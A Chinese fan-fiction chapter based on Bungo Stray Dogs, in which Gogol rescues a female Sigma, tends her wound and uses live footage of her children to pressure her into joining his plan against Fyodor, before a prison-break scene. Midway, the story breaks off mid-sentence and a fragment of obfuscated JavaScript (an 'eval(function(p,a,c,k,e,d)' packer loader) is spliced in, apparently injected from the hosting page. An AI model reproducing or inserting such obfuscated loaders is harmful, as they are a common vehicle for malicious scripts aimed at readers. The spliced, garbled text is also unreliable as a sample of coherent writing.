他无法忘记那个浅笑,那是他见过的,最温柔也最悲伤的笑容。 而坠落的西格玛,视线追随着指间滑落的那点银光。 是那枚银白的戒指,比她的身体更快地坠向深渊。 她望着那道转瞬即逝的光,心底掠过一丝微弱的释然。 啊,这样也好。 与此同时,默尔索监狱内,和太宰治用暗语进行对话的费奥多尔微微垂眸,长长的睫毛遮住了眼底深不见底的算计。 西格玛是“弃子”,筹码炸弹是“声东击西”。 一切都按照他的计划进行着。 从天空赌场的高度坠落到地面需要几秒? 这几秒够想什么呢? 西格玛的意识在急速下坠的失重感中变得模糊,她想到了自己的两个孩子。 米哈伊尔和娜塔莉娅还那么小,他们的笑容是她灰暗人生里唯一的光。 孩子们长大了,估计会延续她的命运,成为他们的棋子。 对不起…… 自己……果然不是合格的母亲啊。 西格玛看到临近地面,模糊的人影在视野中晃动。 有人? 无所谓了,西格玛闭上眼,回想起两个孩子年幼的脸,嘴角似乎还带着一丝若有若无的笑意。 迎接自己的终点。 铅灰色的云层被撕裂开一道口子,西格玛的身影如同断线的纸鸢般急速坠落。 地面上,果戈里仰着头,死死注视着那抹急速下坠的纤细身影,黑白的披风在狂风中猎猎作响。 他嘴角咧开一个肆意而疯狂的笑容,如同即将上演一场盛大戏剧的疯子导演。 “哈哈哈哈,接下来,是复活死者的魔术时间了!” 他的笑声在空旷的天地间回荡,带着一种近乎残忍的愉悦。 当西格玛意识清醒时,刺骨的寒风已经消失,取而代之的是一个熟悉又陌生的怀抱。 她正被果戈里抱在怀中,他的手臂如同钢铁般坚硬,将她牢牢禁锢在身前。 一直注视着怀中西格玛的果戈里,怎么可能不会注意到她轻颤的眼睫呢? 他俯下身,温热的呼吸拂过她的耳廓,声音带着一种奇异的、近乎撒娇的甜腻。 “呀,我可爱的西格玛醒了吗?” 果戈里褪去手套的手轻轻抚上西格玛的脸颊,动作轻柔得不可思议,与他疯狂的形象判若两人。 指尖的触感带着一丝微凉,却莫名地让西格玛混乱的思绪有了一丝锚点。 “我不在,怎么把自己搞得这么狼狈?” 西格玛缓缓睁开眼,映入眼帘的是果戈里那张俊美得近乎妖异的脸,还有他眼中毫不掩饰的、近乎狂热的光芒。 她的瞳孔骤然收缩,心脏像是被一只冰冷的手攥紧。 “……果戈里,你还活着吗?” 她的声音很轻,带着失血过多的虚弱和难以置信的不确定。 自己已经死了吗?所以才看到果戈里。那个明明应该已经死去的人。 果戈里对西格玛的称呼很是不满,他微微蹙起眉,像是被冒犯了的孩子。 “西格玛不乖哦,明明应该叫我科里亚才对。” 他收紧手臂,将她抱得更紧了些,仿佛要将她揉进自己的骨血里。 “明明我刚刚才救了西格玛的命。” “西格玛却连叫我科里亚都不愿意。” 果戈里没有等西格玛回应他,继续抱住了西格玛,将下巴搁在她的发顶,声音低沉了下去,带着一种奇异的蛊惑。 “是诈死啦。” 他顿了顿,像是在回味什么美妙的事情,语气里带着一丝不易察觉的满足和愉悦。 “我知道的哦,在得到我死亡的消息时,你真心实意的为我难过了,对吧?” 西格玛愣了愣,没说话。 失血过多,让她的面颊格外的苍白,像一张脆弱的纸。 她确实难过了,为那个总是戴着面具、行为乖张,□□上和精神上都折磨过她的男人。 “啊,我好高兴,西格玛,你会为我的死亡而感到难过。” 果戈里的声音里带着一种近乎病态的狂喜,他收紧手臂,力道大得几乎要让西格玛喘不过气。 西格玛并不想和他聊这个话题,她的声音带着一丝不易察觉的抗拒和疲惫。 “下命令攻击我的是费奥多尔,你为什么要救我?” 果戈里的动作一顿,随即又恢复了那副玩世不恭的模样。 他松开西格玛,斗篷翻卷着划过一道凌厉的弧线,借着异能瞬息便出现在西格玛身前,宽大的衣摆扫过地面,带起一阵微凉的风。 随即用一种理所当然的语气说道: “西格玛,为了解放你我,我必须杀了费奥多尔。” 他修长的手指漫不经心地拂过脸颊,将遮住右眼的面具缓缓摘下,露出底下澄澈又偏执的翠绿色眼眸,像淬了毒的翡翠,藏着疯狂与执念。 “费奥多尔是我人生中唯一的挚友。” 果戈里微微歪着头,嘴角勾起一抹诡谲的笑,语气轻佻却带着不容置疑的坚定,“要是杀了那位挚友,我们就能从名为感情的洗脑中挣脱出来,获得自由。” 他张开双臂,像是在拥抱虚无的自由,衣摆随着他的动作轻轻晃动,像振翅欲飞的鸟翼。 “这不就能证明我是真正获得自由的飞鸟吗?” 话音落下,果戈里对着西格玛行了一个标准的鞠躬礼,随即抬手将自己头顶的白色礼帽摘下,动作轻柔地戴在了西格玛的头上。 “我需要你的异能,让我知晓费奥多尔的异能力是什么。” 果戈里微微俯身,翠绿色的眼眸在阴影里闪烁,语气带着一种蛊惑般的温柔,仿佛在诉说着最真挚的誓言。 他的理由听起来冠冕堂皇,充满了对“自由”的执念。 然而,果戈里并没有说出他真正救下西格玛的原因。 在看到西格玛从高空坠落的那一刻,他心中那点精心维持的疯狂和算计瞬间碎裂。 那一瞬间,没有对自由的执念,没有对费奥多尔的谋划,只有一种突如其来的、几乎要将他吞噬的恐慌。 这种感觉陌生又熟悉,果戈里曾经体验过一次。 他甚至没有思考,身体就先一步做出了反应。 果戈里无法忍受,无法忍受他的西格玛,他的“另一个囚徒”,就这样消失在他的世界里。 这份深藏在疯狂之下的、偏执的爱意,果戈里不会说出口。 这是他的自由,不是吗? 他可以选择用“需要她的异能”这个理由来粉饰自己的私心,也可以选择继续戴着他那副玩世不恭的面具。 果戈里伸出手,轻轻捏住西格玛的下巴,强迫她看向自己。 他的眼中疯狂依旧,却在深处藏着一丝连他自己都不愿触碰的柔软。 “好了,我的西格玛,现在,该和我一起,去完成我们的『自由』了。” 14. 默尔索监狱 “好了,我的西格玛,现在,该和我一起,去完成我们的『自由』了。” 果戈里的声音里带着蛊惑人心的笑意,指尖还捏着西格玛的下巴,眼底翻涌着疯狂的执念,像淬了毒的火焰,灼热得几乎要将人吞噬。 可话音落下不过几秒,他却忽然打横抱起了西格玛,黑色的披风如同流动的黑雾,将两人裹在其中,隔绝了外界所有的光线与声响。 果戈里虽然用异能力将西格玛伤口里的血循环进身体里,但他清楚,那不过是治标不治本,如果没有专业的医生处理,她还是会死。 他不会让她死的。 果戈里没有带她去任何密谋的据点,也没有提及费奥多尔半个字,而是用异能劈开空间,径直抵达了一间隐蔽的私人诊所。 这里远离港口□□和异能特务科的眼线,是他早在计划之外,为自己留的一处安全屋。 “乖乖等着。” 果戈里将西格玛放在诊所的病床上,语气带着不容置疑的强硬,可动作却意外地轻柔,指尖托着她的腰背时,刻意避开了胸前渗血的伤口。 他转身去找医生时,披风扫过地面,带起一阵微凉的风,拂过西格玛裸露的脚踝,让她忍不住瑟缩了一下。 医生很快赶来,提着医药箱跟在果戈里身后,而果戈里的手中,还多了一件叠得方方正正的干净衬衫,棉质的布料在诊所的灯光下泛着柔和的光泽,显然是早已准备妥当。 医生走到床边,看着西格玛染血的衣襟,下意识地开口:“麻烦您把上衣脱掉,我要处理伤口。” 西格玛闻言,指尖攥紧了身下的床单,眼神有些无措,却还是顺从地抬手,退下那身染血的白色西装。 紧接着,手指上移,想去解开衬衫的纽扣。 她早已习惯了在他人面前收起所有的羞耻心,在那些为了生存的日子里,尊严本就是最不值钱的东西。 可她的手指刚触碰到第一颗纽扣,果戈里就猛地伸手拦住了她。 他的掌心覆在她的手背上,温度低得像冰,眼神沉得像深不见底的海,语气是不容置喙的命令:“不用全脱。” 他说着,不等西格玛反应,便伸手替她解开了领口的几颗纽扣,将外套脱去,又轻轻将她的衬衫向一侧褪开,露出了半个肩头和胸口狰狞的伤口。 黑色的文胸几乎要被撑到极限,丰盈的曲线在布料下绷出惊心动魄的弧度,边缘堪堪裹住饱满的轮廓,大片洁莹如玉的肌肤裸露在外,将那道从锁骨下方蜿蜒至肋骨的伤口,衬得愈发狰狞可怖。 胸口的皮肉翻卷着,还在缓慢地渗着血丝,洁白肌肤与暗红伤口的强烈反差,看得人触目惊心。 “消毒、上药、缝合,剩下的不用你管。” 果戈里收回手,脸上没了往日的疯癫,周身萦绕着生人勿近的低气压,“她的伤口,我来包扎。” 医生愣了一下,抬头看向果戈里那双冰冷的眼睛,他早就明白了眼前人绝不是可以违抗的存在,连忙点头应下。 只敢小心翼翼地拿起棉片,蘸着消毒水,轻轻擦拭着伤口周围的皮肤。 随后又颤抖着拿起针线,屏息凝神地将翻卷的皮肉一寸寸缝合起来。 果戈里就站在一旁,目光紧紧锁在西格玛胸口的伤口上,全程一言不发。 他的眼神锐利得像刀,仿佛要将那道伤口刻进骨子里,连医生不小心碰疼西格玛时,他指尖的青筋都会微微凸起,周身的气压更低了几分。 直到医生收拾好东西,识趣地退出房间,关上房门的那一刻,果戈里才缓步走到床边。 “医生说,虽然伤口的血止住了,但失血太多,需要好好静养。” 他拿起一旁干净的绷带和消毒水,语气平淡得像在谈论天气,“他的手法太粗糙了,哪里配碰你。” 西格玛没有说话,只是静静地坐在床头,任由果戈里动作。 她清楚,自己根本没有拒绝的权利。 从被他救下的那一刻起,她就又一次落入了名为“同伴”的牢笼里,区别只是牢笼的主人从费奥多尔换成了果戈里。 果戈里没有丝毫犹豫,伸手便将西格玛身上那件染血的衬衫完全褪去。 动作干脆利落,带着一种不容抗拒的强势,却又意外地轻柔。 西格玛的身体几不可察地僵了一下,指尖蜷缩起来,却没有反抗。 她只是垂着眼帘,长长的睫毛像蝶翼般轻轻颤动,将眼底所有的情绪都藏在阴影里,任由自己暴露在微凉的空气里,暴露在果戈里的目光中。 果戈里小心翼翼地避开刚上好药的伤口,指尖带着薄茧,却动作轻柔地拨开覆盖在伤口周围的发丝。 当看到那道狰狞的、被整齐的针线缝合过的伤口还在渗着血丝时,他的指尖几不可察地顿了一下,眼底掠过一丝极淡的阴鸷,快得让人以为是错觉。 他倒了些消毒水在棉片上,动作轻柔地擦拭着伤口周围的皮肤,力道控制得极好,没有让西格玛感到丝毫疼痛。 为了方便缠绷带,他将西格玛仅存的黑色衣物也脱了去。 解开搭扣时,他的指尖落上西格玛的脊背,带着灼人的热意。 西格玛因为失血过多,肌肤泛着微凉,那点温度烫得她呼吸一滞。 哪怕西格玛在果戈里面前早已袒露过无数次,此刻这般毫无遮掩地将自己交付在猎人眼底,依旧会让她呼吸一涩。 不是因为害羞,而是因为将自己毫无遮掩的袒露在猎人面前,会让她感到生理上的不适。 果戈里褪下文胸的手法熟稔得过分,指尖勾住搭扣轻轻一挑,布料便松松散散地滑落下去。 高耸的弧线,随着西格玛的呼吸起伏着。 紧接着,果戈里拿起绷带,一圈一圈地缠绕起来。 谁也想不到,这个行事乖张、视人命如草芥的疯子,缠起绷带的动作竟意外地仔细。 每一圈的松紧都恰到好处,既不会勒得西格玛难受,又能牢牢固定住伤口。 他甚至特意避开了西格玛肩头的淤青,指尖划过那些浅淡的痕迹时,动作轻得像在触碰易碎的琉璃。 果戈里的眼神专注,仿佛在完成一件无比重要的艺术品,而非仅仅是包扎一个伤口。 绷带绕过西格玛的肩头,他的指尖不经意间触碰到她温热的皮肤,西格玛的身体微微一僵,下意识地想躲开。 “别动。”果戈里的声音压低了些,带着一丝不易察觉的沙哑,像是被什么东西堵住了喉咙,“碰疼你了?” 西格玛摇了摇头,将脸别向一边,避开他的目光。 她看不懂这个男人,他可以笑着说要一起追求自由,却在之后选择先带她去看医生。 他可以将世间规则视作无物、把他人的命运当作玩笑,却会为了她的伤口而流露出让人费解的认真。 果戈里没有再说话,只是加快了手上的动作,最后在末端打了一个漂亮的、不会硌到皮肤的蝴蝶结。 他看着自己的成果,满意地勾了勾唇角,又恢复了那副玩世不恭的模样。 “好了,我的囚徒。”他伸手,轻轻揉了揉西格玛的头发,动作里带着自己都未察觉的柔软,“养好伤,我们还有很长的路要走呢。” 果戈里转身去收拾东西,披风的下摆扫过床沿,遮住了他眼底一闪而过的、连自己都不愿承认的柔软。 他并未走远,只是背对着她立在不远处,收拾的动作却慢了下来,目光落在西格玛身上,眼底盛着毫不掩饰的打量。 西格玛垂着眼帘,指尖捏起一旁叠得整整齐齐的干净衬衫,棉质的布料带着阳光晒过的温暖触感,与她此刻微凉的指尖形成鲜明对比。 她对此早已习惯,果戈里从来没有避嫌的概念,他的视线向来直白又炽热,落在身上时,带着近乎侵略性的坦荡。 她放下衬衫,伸手去够那件黑色文胸。指尖勾住肩带,轻轻往肩上一搭,动作因胸口缠着的绷带,显得有些滞涩。 她微侧着身子,抬手将一侧肩带拉至肩头,再小心翼翼地环到背后,指尖费力地勾住搭扣,轻轻一扣。 妥帖后,又抬手理了理边缘,避开绷带覆盖的地方,避免牵扯到底下的隐痛。 自始至终,她都没有抬眼,也没有丝毫局促,于她而言,只要他安分地看着,不来伸手捣乱,便已是难得的清净。 而后,西格玛才动作轻柔地套上衬衫。布料顺着肩颈滑落,贴合着微凉的肌肤,肩线刚好卡在肩头,衣长也恰到好处,像是为她量身定做的一样。 西格玛的动作顿了一下,指尖捏着最上方的那一颗纽扣,沉默了一瞬。 她没有多想,也不想多想。 一颗一颗扣好领口的纽扣,遮住了脖颈处未完全褪去的浅淡淤青,也遮住了绷带下仍在隐隐作痛的伤口。 目光落在床脚那件沾染了暗红血迹的白色西装上,西格玛的瞳孔微微缩了缩。 她下意识地抬手摸向心脏位置的暗袋,那里正是血弹擦过的地方,也是她藏着最重要东西的地方。 指尖隔着布料确定里面的东西还在,她才稍稍松了口气,随即又绷紧了神经。 西格玛拎起那件染血的西装,刻意将布料展开,宽大的衣摆恰好挡住了果戈里的视线,也挡住了她此刻紧绷的神情。 指尖探进内侧的暗袋,触到两张叠在一起的纸片,一张硬挺,一张柔软。 车票没有破损,却早已□□涸的血液浸透,暗红色的印记像一朵凝固的花,晕染在车票的边缘,将目的地的字迹晕得有些模糊。 而那张孩子们的照片,边角已经卷翘,正中间那道裂痕像一道无法愈合的伤口,将两个紧紧相依的身影硬生生割裂开来。 西格玛的指尖控制不住地颤抖,她小心翼翼地用指腹擦去照片表面干涸的血渍,动作轻得仿佛怕惊扰了照片里孩子们的笑容。 她深吸一口气,用在赌场里练就的、稳得惊人的手法,将车票和照片仔细叠好,转移到西装另一侧未沾染血迹的暗袋中,指尖反复按压确认它们被妥善藏好,才放下心来。 将西装重新搭回床沿,西格玛转过身,看向一旁的果戈里。 他正漫不经心地将用过的绷带一圈圈缠成一团,指尖灵活得像在摆弄某种有趣的玩具,脸上依旧挂着那副捉摸不透的笑容。 “你救下了掉下来的我,这点我很感激,”西格玛的声音平静得没有一丝波澜,却藏着不易察觉的疏离,“但帮你找出费奥多尔的异能这样的难题,我估计是做不到。” 她微微垂眸,目光落在自己布满青紫痕迹的手背上,声音轻了些:“除了异能以外,我的实力很弱,你找同伴为什么会找我?” 果戈里缠绷带的动作骤然顿住,他抬眼看向西格玛,银霜色的眼眸里闪过一丝玩味,随即嘴角勾起一个大大的、带着几分疯癫的笑容,像个找到了新玩具的孩子。 “因为好像很有趣啊。” 话音未落,他已经几步走到西格玛面前,毫无预兆地伸出手臂搂住她的腰,力道带着不容抗拒的强势。 指尖却精准地避开了她腰侧未褪去的淤青与绷带覆盖的伤口,没有让她感到半分不适,反而诡异的恰到好处。 果戈里微微俯身,温热的气息拂过西格玛的耳廓,声音压低,带着蛊惑般的磁性。 “我邀请你也是为了你好啊,费奥多尔会察觉到暗杀你失败这件事吧。” 果戈里顿了顿,指尖轻轻摩挲着西格玛腰侧的布料,一字一句,精准地戳中西格玛心底最深处的渴望与恐惧: “也就是说,只要费奥多尔不死,你就永远无法得到安息的『家』。” “……我明白了。” 西格玛的声音轻得像一片羽毛落地,尾音还带着不易察觉的颤抖。 她低垂着眼眸,纤长的眼睫像受惊的蝶翼般颤了颤,浓密的阴影覆在眼下,掩去了眼底翻涌的恐惧与挣扎。 面色苍白的她坐在床沿,单薄的肩膀微微蜷缩着,宛如一尊一碰就会碎裂的白瓷偶,脆弱得让人心尖发颤。 真是惹人怜爱啊。 果戈里心底漫过一丝连自己都未曾察觉的柔软,搂着她腰的手臂不自觉地收紧了些,力道依旧精准地避开她的伤口,只将她牢牢圈在自己怀里。 果戈里微微俯身,胸膛贴着西格玛单薄的脊背,温热的气息拂过她的发顶,带着淡淡的雪松香气,与他身上惯有的戏谑气息截然不同,生出几分缱绻的眷恋。 他的下巴轻轻搁在她的肩窝,银色的眼眸半眯着,目光落在她微微抿起下唇,指尖无意识地摩挲着她腰侧的布料,动作轻柔得像是在抚摸稀世珍宝。 西格玛的身体瞬间绷得更紧,指尖死死攥着身下的床单,指节泛白到几乎失去血色。 她能清晰地感受到他胸腔的震动,感受到他温热的呼吸,那过于亲密的距离像一张密不透风的网,将她牢牢困住。 恐惧像藤蔓一样缠绕住她的心脏,让她几乎无法呼吸,可她不敢动,不敢反抗,只能僵硬地任由他抱着,连大气都不敢喘一下。 果戈里似乎察觉到了她的僵硬,嘴角勾起一抹玩味的弧度,却没有松开她,反而抬手,从口袋里摸出了一部黑色的手机。 他将手机递到西格玛眼前,屏幕的光映亮了她苍白的脸颊。 “看,我们的娜塔莉娅,还有米哈伊尔。”他的声音压得很低,带着一种奇异的温柔,像是在哄骗受惊的小动物。 西格玛的目光落在屏幕上,瞳孔骤然缩紧。 屏幕里是实时监控的画面,此刻的俄罗斯已是夜晚,暖黄色的灯光柔和地洒在婴儿房里。 米哈伊尔躺在婴儿床里,小拳头攥着,脸蛋睡得红扑扑的,嘴角还挂着浅浅的笑意。 一旁的娜塔莉娅蜷缩在小床上,紧紧靠着西格玛亲手缝制的小熊玩偶,长长的睫毛覆在眼下,呼吸均匀,小脸蛋同样红得像熟透的苹果。 “现在是这里的下午,”果戈里的指尖轻轻点了点屏幕上娜塔莉娅的小脸,语气里带着几分不易察觉的柔软,“俄罗斯已经是晚上了,我们的小宝贝们,睡得正香呢。” 他的话语像一根细针,刺破了西格玛强装的平静,也将她最后的退路彻底斩断。 西格玛痴痴的看着手机屏幕上的孩子,连呼吸都放得极轻,仿佛怕惊扰了屏幕里那两份安稳的甜梦。 她的目光在娜塔莉娅和米哈伊尔之间来回流连,指尖不受控制地抬起,悬在屏幕上方,却不敢真的触碰上去,像是怕一碰,这来之不易的温暖就会化作泡影。 苍白的脸颊上,终于褪去了几分僵硬的恐惧,取而代之的是一种近乎虔诚的柔软,连眼睫上都沾了一层细碎的湿意,却倔强地不肯落下。 果戈里将她的反应尽收眼底,搂着她的手臂又紧了紧,下巴在她肩窝处轻轻蹭了蹭,像只慵懒又占有欲极强的猫。 他看着屏幕里两个熟睡的小家伙,银色的眼眸里褪去了大半戏谑,只剩下一片罕见的温和,连声音都放得更柔了些:“看,他们多乖,在等着我们回去呢。” 西格玛的喉咙像是被什么堵住了,发不出任何声音,只能任由滚烫的泪珠砸在自己的手背上,发出细微的声响。 她知道这是果戈里的筹码,是困住她的枷锁,可看着屏幕里孩子红扑扑的脸蛋,那点仅存的反抗心思,终究还是被对“家”的渴望彻底淹没了。 西格玛缓缓闭上眼,长长的睫毛像蝶翼般合拢,将眼底的挣扎与脆弱尽数藏起。 睫毛上悬着的泪珠终于滚落,顺着苍白的脸颊滑下,滴在果戈里的手背上,带着滚烫的温度。 她试探着,做出了一个近乎讨好的动作,极其缓慢地将脸轻轻靠在果戈里的脸侧,单薄的肩膀微微颤抖着,像是终于找到了一个可以暂时停靠的港湾,哪怕这个港湾,随时都可能将她吞噬。 紧绷的脊背一点点放松下来,连攥着床单的指尖,也缓缓松开了些。 “好,”西格玛的声音带着浓重的鼻音,轻得几乎听不见,却带着破釜沉舟的决绝,“我帮你。” 听到这句话的瞬间,果戈里搂着她腰的手臂骤然收紧,将她更紧地锢在怀里,像是要将她揉进自己的骨血里。 银霜色的眼眸里骤然亮起细碎的光,那是一种计谋得逞的狡黠,更是一种猎物终于落入陷阱的极致愉悦,连眼底深处的温柔都染上了几分得逞的笑意。 他低头,鼻尖蹭过西格玛的脸颊,温热的气息拂过她的耳畔,嘴角勾起一个肆意又满足的弧度,声音里带着压抑不住的轻快:“真乖。” 心底像是有什么东西在雀跃着翻涌,比他策划任何一场精妙的闹剧都要让他愉悦。 不是因为计划推进的顺利,而是因为眼前这个总是带着惶恐、执着于寻找“家”的小家伙,终于心甘情愿地,留在了他的身边,成为了他的“囚徒”。 他抬手,用指腹轻轻擦去西格玛脸颊上未干的泪痕,动作带着一种近乎温柔的宠溺,指尖的薄茧蹭过细腻的皮肤,留下一阵微痒的触感。 好孩子,应该得到奖励。 果戈里微微偏过头,温热的唇瓣轻触西格玛的发顶,银霜色的眼眸里褪去了所有戏谑,只剩下纯粹的珍视,那是他从未对任何人流露过的、毫无杂质的温柔。 他的指尖顺着她的脊背缓缓滑落,动作轻柔地安抚着她依旧微颤的肩膀,仿佛在抚摸一件易碎的珍宝。 “奖励你一个愿望,”他的声音低沉而磁性,像大提琴的弦音在耳畔缓缓流淌,带着蛊惑人心的力量,尾音轻轻上扬,“任何愿望都可以,只要我能做到。” 西格玛的身体几不可察地僵了一下,随即又像被抽走了所有力气般放松下来。 她轻轻闭上眼,脸颊贴着他温热的皮肤,能清晰地感受到他沉稳有力的心跳,一下,又一下。 西格玛不信任任何人,也不相信果戈里。这个男人的温柔像裹着蜜糖的毒药,前一秒还能笑着将她从绝境中救下,下一秒就能用最精准的话语,将她的软肋狠狠攥在手里。 她清楚地知道,这份亲昵与承诺,不过是他计划里的一环,是困住她的另一个枷锁,可她却无力挣脱。 西格玛的脑海里瞬间闪过屏幕里孩子熟睡的脸庞,闪过那个梦寐以求的、充满烟火气的“家”,闪过无数个关于未来的细碎憧憬,可话到嘴边,却只化作了一句极轻的呢喃: “我想……等一切结束,带孩子们去看莫斯科的雪。” 果戈里的动作顿了顿,随即低低地笑了起来,胸腔的震动透过皮肤传进西格玛的心里,带着奇异的安抚力量,却让她忍不住打了个寒颤。 他收紧手臂,将她抱得更紧,仿佛要将她整个人都嵌进自己的骨血里。 “好啊,”果戈里轻声应着,声音里带着前所未有的认真,“等我们解决了所有事,我陪你们一起,去看莫斯科的雪。” 西格玛长长的睫毛猛地颤了颤,像被风吹动的蝶翼,眼尾迅速泛起一层淡淡的红意。 她原本松弛下来的指尖,无意识地攥住了果戈里披风的衣角,指节微微泛白,那力道里一半是恐惧,一半是连她自己都唾弃的悸动。 西格玛依旧闭着眼,脸颊贴着果戈里温热的胸膛,鼻尖萦绕着他身上淡淡的雪松香气,那味道熟悉而危险,却又该死地让她感到一丝安心。 心底某处最柔软的地方像是被轻轻触碰了一下,有什么东西在悄然破土。 那是连她自己都不敢承认的、微弱却真实的期待。 ……不该期待的! 西格玛在心里狠狠咒骂着自己,理智像冰冷的鞭子,狠狠抽打着她那点不切实际的幻想。 她见过太多虚假的温柔,经历过太多背叛,眼前这个男人可是能将人命视作玩笑的疯子,他的承诺不过是哄骗她听话的诱饵,怎么能信?怎么敢信? 西格玛清楚地知道,眼前这个男人是深渊,是漩涡,靠近他只会万劫不复。 可那点期待却像野草一样疯长,不受控制地蔓延开来。 屏幕里孩子熟睡的模样,那句“陪你们一起看雪”的承诺,像一束微弱的光,固执地照进了她灰暗了太久的世界里。 她太渴望一个家了,太想和孩子们安稳地生活在一起了,哪怕这份希望是建立在谎言之上,哪怕前方是万丈深渊,她也忍不住想要伸手去抓。 不该期待的。 西格玛在心里再次狠狠唾弃着自己,理智与渴望在她体内激烈冲撞,像两把钝刀反复切割着她的心脏,疼得她几乎喘不过气。 矛盾的心思像藤蔓一样缠绕着她,一边是对果戈里深入骨髓的戒备与恐惧,一边是对“家”的极致渴望与卑微期待,撕扯得她心口发疼,连呼吸都带着涩意。 西格玛猛地将脸往果戈里怀里埋得更深,浓密的发丝遮住了她眼底的挣扎与自嘲。 像是要将自己彻底藏起来,藏在这份虚假的温柔里,也藏起自己这份可耻的、连自己都唾弃的期待。 “不许骗我。” 她的声音闷闷的,带着浓重的鼻音,像是在赌气,又像是在哀求,连她自己都分不清。 果戈里的身体几不可察地僵了一瞬,随即搂在她腰上的手臂收得更紧,几乎要将她整个人揉进自己的骨血里。 他低头,鼻尖埋进她柔软的发顶,深深吸了一口气,那属于她的、带着淡淡奶香的气息钻进鼻腔,让他眼底的戏谑彻底褪去,只剩下化不开的柔情。 果戈里没有立刻说话,只是用下巴轻轻蹭着她的发顶,动作温柔得不像话,像是在安抚一只受惊的幼兽。 指尖顺着她微颤的脊背缓缓滑落,一遍又一遍,带着无声的安抚。 “不骗你。” 过了许久,果戈里才开口,声音低沉而沙哑,像是用尽了全身的力气才吐出这三个字,每一个字都带着沉甸甸的认真,“我向你保证。” 温热的唇瓣轻轻落在她的发旋处,带着不容错辨的珍视。 他清楚此刻西格玛正将脸埋在他怀里,看不到他的模样,便不再掩饰眼底的柔软,将那份只属于她的、毫无保留的温柔尽数展现出来。 他甚至微微侧身,用自己的披风将她完全裹住,将她与外界的一切不安与危险都隔绝开来,只留他怀里这一方小小的、温暖的天地。 西格玛的身体却没有因此放松,反而绷得更紧了些。 她能感受到他的温柔,能感受到他怀抱的温暖,能听到他语气里的认真,可这份柔情四溢的对待,却只让她心底的戒备更深了几分。 西格玛很清楚,世界上没有无偿的东西。 所以她没有回应,只是将脸埋得更深,浓密的发丝遮住了她眼底的疏离与警惕。 她在心里不断地提醒自己——不要相信眼前的男人,不要相信他说的任何话。 果戈里似乎察觉到了她的疏离,却没有点破,只是收紧了手臂,将她抱得更紧。 果戈里银霜色的眼眸里盛满了西格玛看不见的柔情与偏执,他轻声呢喃,语气里带着一种近乎虔诚的执念: “等一切结束,我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他抱着西格玛,在拐角处骤然停下脚步,眼底疯狂的执念如同燃烧的火焰。 拐角处尽头的下方,正是费奥多尔和太宰治被关押的牢房。 果戈里右手抬起,黑色的披风瞬间翻飞,带着几分戏谑的恶趣味,一道扭曲的、泛着冷光的裂痕出现在天花板上,如同通往另一个维度的门,精准地对准了两人的牢房。 他的异能“外套”无需触碰目标,便能切割转移空间,下一秒,两道身影便从裂痕中被直接拖拽出来,重重摔在冰冷的地面上。 先是费奥多尔,随后是太宰治。 两人从空中掉落摔在地上,皆是短暂的踉跄,随即从容地坐起身。 费奥多尔抬眼,目光精准地落在被果戈里搂在怀中的西格玛身上,视线扫过她空空如也的左手。 那枚曾经象征着掌控与束缚的戒指,早已不见踪影。 他薄唇微抿,没有说话,眼底却掠过一丝了然的暗光。 太宰治从空间裂隙中坠落,显得格外狼狈,额前的碎发垂落,遮住了大半眉眼。 他抬手理了理微乱的领口,抬眼的瞬间,目光便落在了西格玛身上。 资料上的她,他已经见过很多次,真人倒是第一次。 西格玛正攥着熨得平整的白色西装衣角,纤长的睫毛微微颤动,像受惊的蝶翼。 头顶的白炽灯散发着冷白的光,落在她柔软的发顶,勾勒出柔和的轮廓,连带着她苍白脸颊上的细小绒毛都清晰可见。 那是一种奇异的、混合着脆弱与坚韧的美感,像暴雨后勉强挺立的白玫瑰,花瓣上还沾着未干的水珠,却执拗地朝着光的方向舒展。 冷调的光线衬得她肌肤愈发莹白,连唇色都淡得近乎透明,唯有那双眼睛亮得惊人,像浸在寒潭里的星子,藏着不易察觉的倔强。 太宰治的呼吸几不可察地顿了半拍。 这种感觉很陌生,既不是面对猎物时的玩味,也不是策划阴谋时的冷静,更像是脑海里某个模糊了许久的轮廓,突然被一双无形的手勾勒出了清晰的线条。 他曾在无数个百无聊赖的日子里,漫无边际地想象过所谓“理想的模样”,那影子始终是朦胧的、飘忽的,像浸在水里的墨,晕染开来便没了形状。 可此刻,看着眼前的少女,那团模糊的影子骤然有了实体——是微微下垂的眼尾,是攥紧衣角时泛白的指节,是即便身处混乱也依旧挺直的脊背,是冷光下愈发显得脆弱又坚韧的眉眼。 太宰治的目光下意识地下移,落在果戈里紧紧揽着西格玛腰肢的手臂上。 那只骨节分明的手箍在她纤细的腰上,像一道突兀的枷锁,破坏了眼前画面的美感。 太宰治鸢色的眼眸里,掠过一丝极淡的、连他自己都未曾察觉的不悦,只觉得身后那个疯疯癫癫的家伙,实在有些碍眼。 “啊。” 一个轻得几乎听不见的音节在他喉间滚过,快得像错觉。 太宰治下意识地勾起唇角,惯常的慵懒笑意重新覆上眉眼,将那瞬间的恍惚彻底掩盖。 他抬手理了理微乱的领口,语气漫不经心,带着恰到好处的玩味:“真是位美丽的小姐啊。” 话语出口时,连他自己都觉得自然极了,仿佛只是看到了一件合心意的小玩意儿,随口发出的赞叹。 只有他自己知道,方才那一瞬间的恍然,像投入死水的石子,漾开了连他都未曾预料的涟漪。 太宰治不动声色地将目光从西格玛身上移开,看向一旁的果戈里,眼底又恢复了惯常的漫不经心与深不可测,仿佛刚才那片刻的失神与不悦从未发生过。 就像习惯了黑暗的吸血鬼,猝不及防被一缕阳光扫过指尖,下意识地缩回手,面上依旧是若无其事的从容。 只有指尖残留的触感,在提醒着他方才那转瞬即逝的、让他莫名心悸的震动。 而此刻,西格玛的目光越过费奥多尔,直直落在了太宰治身上。 棕发鸢眼的俊秀男人,慵懒随性的姿态下,藏着深不可测的锐利。 她认得他,看过他的所有资料,武装侦探社的太宰治,是和费奥多尔一样足智多谋,甚至同样危险的男人。 武装侦探社……西格玛的脑海里,突然闪过那个在赌场,伸手想要拉住她的少年——中岛敦。 那是她短暂的生命里,感受到的、为数不多的善意。 “不需要给他们两个人解释吗?” 西格玛轻轻的说道。 “没问题,没问题,因为——” 果戈里忽然松开了搂着西格玛的手臂,动作干脆利落,却在她站稳的瞬间,轻轻扶了扶她的肩膀。 随即,他向前一步,张开双臂,黑色的披风在火光中猎猎作响,像一只即将展翅的乌鸦。 果戈里伸手指向眼前的两人,语气里是掩不住的兴奋与疯癫,像个终于拿到新玩具的孩子:“欢迎来到我的越狱魔术秀,两位天才!” 